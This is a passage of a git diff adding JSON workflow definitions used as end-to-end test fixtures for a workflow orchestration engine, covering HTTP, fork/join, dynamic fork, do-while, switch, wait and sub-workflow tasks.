"uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET", + "accept": "application/json", + "contentType": "application/json", + "encode": true + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "set_variable", + "taskReferenceName": "set_variable_ref", + "inputParameters": { + "status": "Completed" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "b": [ + { + "name": "http_2", + "taskReferenceName": "http_ref_2", + "inputParameters": { + "uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET", + "accept": "application/json", + "contentType": "application/json", + "encode": true + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "set_variable_1", + "taskReferenceName": "set_variable_ref_1", + "inputParameters": { + "status": "RUNNING" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "value-param", + "expression": "switchCaseValue", + "onStateChange": {}, + "permissive": false + } + ], + "evaluatorType": "graaljs", + "onStateChange": {}, + "permissive": false + }, + { + "name": "http_3", + "taskReferenceName": "http_ref_3", + "inputParameters": { + "uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET", + "accept": "application/json", + "contentType": "application/json", + "encode": true + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true, + "metadata": {}, + "maskedFields": [] +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/dyn_fork_test.json b/e2e/src/test/resources/metadata/dyn_fork_test.json new file mode 100644 index 0000000..cc75799 --- /dev/null +++ b/e2e/src/test/resources/metadata/dyn_fork_test.json @@ -0,0 +1,81 @@ +{ + "createTime": 1732330133323, + "updateTime": 1732648744923, + "name": "dyn_fork_test", + "description": "test", + "version": 1, + "tasks": [ + { + "name": "inline", + "taskReferenceName": "inline_ref", + "inputParameters": { + "evaluatorType": "graaljs", + "expression": "(function() {\n return {\n \"tasks\": [ \n {\n \"optional\": true,\n \"name\" : \"simple_1\",\n \"taskReferenceName\": \"simple_1\",\n \"type\": \"SIMPLE\"\n },\n {\n \"optional\": true,\n \"name\" : \"simple_2\",\n \"taskReferenceName\": \"simple_2\",\n \"type\": \"SIMPLE\"\n },\n {\n \"optional\": true,\n \"name\" : \"simple_3\",\n \"taskReferenceName\": \"simple_3\",\n \"type\": \"SIMPLE\"\n }\n ],\n \"inputs\" : {\n \"simple_1\": {},\n \"simple_2\": {},\n \"simple_3\": {},\n }\n }\n})();" + }, + "type": "INLINE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "dyn_fork", + "taskReferenceName": "dyn_fork_ref", + "inputParameters": { + "dynamicTasks": "${inline_ref.output.result.tasks}", + "dynamicTasksInput": "${inline_ref.output.result.inputs}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "join_1", + "taskReferenceName": "join_1", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "rateLimited": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "js", + "expression": "(function(){\n let results = {};\n let pendingJoinsFound = false;\n if($.joinOn){\n $.joinOn.forEach((element)=>{\n if($[element] && $[element].status !== 'COMPLETED'){\n results[element] = $[element].status;\n pendingJoinsFound = true;\n }\n });\n if(pendingJoinsFound){\n return {\n \"status\":\"IN_PROGRESS\",\n \"reasonForIncompletion\":\"Pending\",\n \"outputData\":{\n \"scriptResults\": results\n }\n };\n }\n return true;\n }\n})();", + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/e2e_on_state_change_tests.json b/e2e/src/test/resources/metadata/e2e_on_state_change_tests.json new file mode 100644 index 0000000..7d38df4 --- /dev/null +++ b/e2e/src/test/resources/metadata/e2e_on_state_change_tests.json @@ -0,0 +1,47 @@ +{ + "name": "e2e_on_state_change_tests", + "ownerEmail": "test@conductor.io", + "description": "Workflow to debug on state change issues - missing events for subworkflow task", + "version": 1, + "tasks": [ + { + "name": "sub_workflow", + "taskReferenceName": "sub_workflow_ref", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "e2e_on_state_change_tests_sub", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": { + "onSuccess,onFailed,onScheduled,onCancelled,onStart": [ + { + "type": "e2e_subworkflow_task", + "payload": { + "parentWorkflowId": "${workflow.workflowId}" + } + } + ] + } + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/e2e_on_state_change_tests_sub.json b/e2e/src/test/resources/metadata/e2e_on_state_change_tests_sub.json new file mode 100644 index 0000000..a1ecad8 --- /dev/null +++ b/e2e/src/test/resources/metadata/e2e_on_state_change_tests_sub.json @@ -0,0 +1,34 @@ +{ + "name": "e2e_on_state_change_tests_sub", + "ownerEmail": "test@conductor.io", + "description": "Workflow to debug on state change issues - missing events for subworkflow task", + "version": 1, + "tasks": [ + { + "name": "wait", + "taskReferenceName": "wait_ref", + "inputParameters": {}, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/e2e_on_state_change_tests_sub_set_variable.json b/e2e/src/test/resources/metadata/e2e_on_state_change_tests_sub_set_variable.json new file mode 100644 index 0000000..5a170cb --- /dev/null +++ b/e2e/src/test/resources/metadata/e2e_on_state_change_tests_sub_set_variable.json @@ -0,0 +1,26 @@ +{ + "name": "e2e_on_state_change_tests_sub", + "ownerEmail": "test@conductor.io", + "description": "Workflow to debug on state change issues - missing events for subworkflow task", + "version": 1, + "tasks": [ + { + "name": "set_variable", + "taskReferenceName": "set_variable_ref", + "type": "SET_VARIABLE", + "inputParameters": { + "name": "Orkes" + } + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/end_time_workflow.json b/e2e/src/test/resources/metadata/end_time_workflow.json new file mode 100644 index 0000000..2499578 --- /dev/null +++ b/e2e/src/test/resources/metadata/end_time_workflow.json @@ -0,0 +1,41 @@ +{ + "name": "end_time_issue_wf", + "description": "Tests endTime field propagation across task outputs", + "version": 1, + "tasks": [ + { + "name": "end_time_simple", + "taskReferenceName": "simple_ref", + "inputParameters": {}, + "type": "SIMPLE" + }, + { + "name": "inline", + "taskReferenceName": "inline_ref", + "inputParameters": { + "expression": "$.endTime", + "evaluatorType": "graaljs", + "endTime": "${simple_ref.endTime}" + }, + "type": "INLINE" + }, + { + "name": "end_time_simple_2", + "taskReferenceName": "simple_2_ref", + "inputParameters": { + "endTime": "${simple_ref.endTime}" + }, + "type": "SIMPLE" + }, + { + "name": "end_time_simple_3", + "taskReferenceName": "simple_ref_3", + "inputParameters": { + "endTime": "${simple_ref.endTime}" + }, + "type": "SIMPLE" + } + ], + "schemaVersion": 2, + "ownerEmail": "test@conductor.io" +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/onstate_fix_test.json b/e2e/src/test/resources/metadata/onstate_fix_test.json new file mode 100644 index 0000000..07abbd1 --- /dev/null +++ b/e2e/src/test/resources/metadata/onstate_fix_test.json @@ -0,0 +1,97 @@ +{ + "createTime": 1717446484815, + "updateTime": 1717457738607, + "name": "task_state_change_event_test", + "description": "Edit or extend this sample workflow. Set the workflow name to get started", + "version": 1, + "tasks": [ + { + "name": "test_task_on_change", + "taskReferenceName": "test_task_on_change", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": { + "onSuccess,onFailed,onScheduled,onCancelled,onStart": [ + { + "type": "test_123_abc", + "payload": { + "00status00": "${test_task_on_change.status}" + } + } + ] + } + }, + { + "name": "wait", + "taskReferenceName": "wait_ref", + "inputParameters": {}, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": { + "onSuccess,onFailed,onScheduled,onCancelled,onStart": [ + { + "type": "test_123_abc", + "payload": { + "00status00": "${wait_ref.status}" + } + } + ] + } + }, + { + "name": "wait_1", + "taskReferenceName": "wait_ref_1", + "inputParameters": { + "duration": "3 seconds" + }, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": { + "onSuccess,onFailed,onScheduled,onCancelled,onStart": [ + { + "type": "test_123_abc", + "payload": { + "00status00": "${wait_ref_1.status}" + } + } + ] + } + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/re_run_test_workflow.json b/e2e/src/test/resources/metadata/re_run_test_workflow.json new file mode 100644 index 0000000..a81077e --- /dev/null +++ b/e2e/src/test/resources/metadata/re_run_test_workflow.json @@ -0,0 +1,648 @@ +{ + "createTime": 1684691483463, + "updateTime": 1684692300926, + "name": "re_run_test_workflow", + "version": 1, + "tasks": [ + { + "name": "x_test_worker_0", + "taskReferenceName": "simple_task_00", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "jq", + "taskReferenceName": "jq", + "inputParameters": { + "key1": { + "value1": [ + "a", + "b" + ] + }, + "queryExpression": "{ key3: (.key1.value1 + .key2.value2) }", + "value2": [ + "d", + "e" + ] + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "http_task_5saz2", + "taskReferenceName": "http_task_5saz2_ref", + "inputParameters": { + "http_request": { + "uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET", + "connectionTimeOut": 3000, + "readTimeOut": "3000", + "accept": "application/json", + "contentType": "application/json" + } + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "wait", + "taskReferenceName": "wait", + "inputParameters": { + "duration": "1 seconds" + }, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "set_state", + "taskReferenceName": "set_state", + "inputParameters": { + "call_made": true + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "fork_task_t7nhng", + "taskReferenceName": "fork_task_t7nhng_ref", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "x_test_workers_1", + "taskReferenceName": "x_test_worker_1_ref", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + [ + { + "name": "x_test_workers_0", + "taskReferenceName": "x_test_workers_0_ref", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "wait_task_guk0c", + "taskReferenceName": "wait_task_guk0c_ref", + "inputParameters": { + "duration": "1 seconds" + }, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + [ + { + "name": "x_test_workers_2", + "taskReferenceName": "x_test_workers_2_ref", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "join_task_y6nux", + "taskReferenceName": "join_task_y6nux_ref", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "wait_task_guk0c_ref", + "x_test_worker_1_ref", + "x_test_workers_2_ref" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "sub_flow", + "taskReferenceName": "sub_flow", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "PopulationMinMax" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "dynamic_fork", + "taskReferenceName": "dynamic_fork", + "inputParameters": { + "forkTaskName": "x_test_worker_0", + "forkTaskInputs": [ + 1, + 2, + 3 + ] + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "forkedTasks", + "dynamicForkTasksInputParamName": "forkedTasksInputs", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "dynamic_fork_join", + "taskReferenceName": "dynamic_fork_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "fork", + "taskReferenceName": "fork", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "loop_until_success", + "taskReferenceName": "loop_until_success", + "inputParameters": { + "loop_count": 2 + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ( $.loop_count['iteration'] < $.loop_until_success ) { true; } else { false; }", + "loopOver": [ + { + "name": "fact_length", + "taskReferenceName": "fact_length", + "description": "Fail if the fact is too short", + "inputParameters": { + "number": "${get_data.output.number}" + }, + "type": "SWITCH", + "decisionCases": { + "LONG": [ + { + "name": "x_test_worker_1", + "taskReferenceName": "simple_task_1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "SHORT": [ + { + "name": "too_short", + "taskReferenceName": "too_short", + "inputParameters": { + "terminationReason": "value too short", + "terminationStatus": "FAILED" + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "javascript", + "expression": "$.number < 15 ? 'LONG':'LONG'", + "onStateChange": {} + } + ], + "onStateChange": {} + }, + { + "name": "sub_flow_inline", + "taskReferenceName": "sub_flow_inline", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "inline_sub", + "version": 1, + "workflowDefinition": { + "name": "inline_sub", + "version": 1, + "tasks": [ + { + "name": "x_test_worker_2", + "taskReferenceName": "simple_task_0", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "fact_length2", + "taskReferenceName": "fact_length2", + "description": "Fail if the fact is too short", + "inputParameters": { + "number": "${get_data.output.number}" + }, + "type": "SWITCH", + "decisionCases": { + "LONG": [ + { + "name": "x_test_worker_1", + "taskReferenceName": "simple_task_1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "SHORT": [ + { + "name": "too_short", + "taskReferenceName": "too_short", + "inputParameters": { + "terminationReason": "value too short", + "terminationStatus": "FAILED" + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "javascript", + "expression": "$.number < 15 ? 'LONG':'LONG'", + "onStateChange": {} + }, + { + "name": "sub_flow_inline_lvl2", + "taskReferenceName": "sub_flow_inline_lvl2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "inline_sub", + "version": 1, + "workflowDefinition": { + "name": "inline_sub", + "version": 1, + "tasks": [ + { + "name": "x_test_worker_2", + "taskReferenceName": "simple_task_0", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + } + }, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "sub_flow_inline", + "description": "sub_flow_inline", + "retryCount": 0, + "timeoutSeconds": 3000, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 20, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "pollTimeoutSeconds": 3600, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + } + }, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "sub_flow_inline", + "description": "sub_flow_inline", + "retryCount": 0, + "timeoutSeconds": 3000, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 20, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "pollTimeoutSeconds": 3600, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + [ + { + "name": "x_test_worker_2", + "taskReferenceName": "simple_task_2", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "x_test_worker_1", + "taskReferenceName": "simple_task_5", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ] + ], + "startDelay": 0, + "joinOn": [ + "sub_flow_inline", + "simple_task_5" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "fork_join", + "taskReferenceName": "fork_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [ + "simple_task_5", + "sub_flow_inline" + ], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": { + "jq": "${jq.output}", + "inner_task": "${x_test_worker_1.output}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/signal_subworkflow.json b/e2e/src/test/resources/metadata/signal_subworkflow.json new file mode 100644 index 0000000..f0611bd --- /dev/null +++ b/e2e/src/test/resources/metadata/signal_subworkflow.json @@ -0,0 +1,42 @@ +{ + "createTime": 1744192592312, + "updateTime": 0, + "name": "signal_subworkflow", + "description": "signal_subworkflow", + "version": 1, + "tasks": [ + { + "name": "sub_workflow", + "taskReferenceName": "sub_workflow_ref", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "wait_signal_test", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/stackoverflower.json b/e2e/src/test/resources/metadata/stackoverflower.json new file mode 100644 index 0000000..3b783f4 --- /dev/null +++ b/e2e/src/test/resources/metadata/stackoverflower.json @@ -0,0 +1,33 @@ +{ + "name": "stackoverflower", + "description": ".", + "version": 1, + "schemaVersion": 2, + "tasks": [ + { + "name": "loop", + "taskReferenceName": "loop_ref", + "inputParameters": { + "n": "${workflow.input.n}" + }, + "type": "DO_WHILE", + "startDelay": 0, + "loopCondition": "$.loop_ref['iteration'] < $.n", + "evaluatorType": "graaljs", + "loopOver": [ + { + "name": "dummy", + "taskReferenceName": "dummy_ref", + "inputParameters": { + "expression": "\"stackoverflowing are you?\"", + "evaluatorType": "graaljs" + }, + "type": "INLINE" + } + ] + } + ], + "inputParameters": [], + "outputParameters": {}, + "ownerEmail": "test@conductor.io" +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/sub_workflow_tests.json b/e2e/src/test/resources/metadata/sub_workflow_tests.json new file mode 100644 index 0000000..ae88d80 --- /dev/null +++ b/e2e/src/test/resources/metadata/sub_workflow_tests.json @@ -0,0 +1,131 @@ +[{ + "name": "sub_workflow", + "description": "sub_workflow", + "version": 1, + "tasks": [ + { + "name": "simple_task_in_sub_wf", + "taskReferenceName": "t1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@conductor.io" +},{ + "name": "integration_test_wf", + "description": "integration_test_wf", + "version": 1, + "tasks": [ + { + "name": "integration_task_1", + "taskReferenceName": "t1", + "inputParameters": { + "p1": "${workflow.input.param1}", + "p2": "${workflow.input.param2}", + "p3": "${CPEWF_TASK_ID}", + "someNullKey": null + }, + "type": "SIMPLE" + }, + { + "name": "integration_task_2", + "taskReferenceName": "t2", + "inputParameters": { + "tp1": "${workflow.input.param1}", + "tp2": "${t1.output.op}", + "tp3": "${CPEWF_TASK_ID}" + }, + "type": "SIMPLE" + } + ], + "inputParameters": [ + "param1", + "param2" + ], + "outputParameters": { + "o1": "${workflow.input.param1}", + "o2": "${t2.output.uuid}", + "o3": "${t1.output.op}" + }, + "failureWorkflow": "$workflow.input.failureWfName", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "ownerEmail": "test@conductor.io" +},{ + "name": "integration_test_wf_with_sub_wf", + "description": 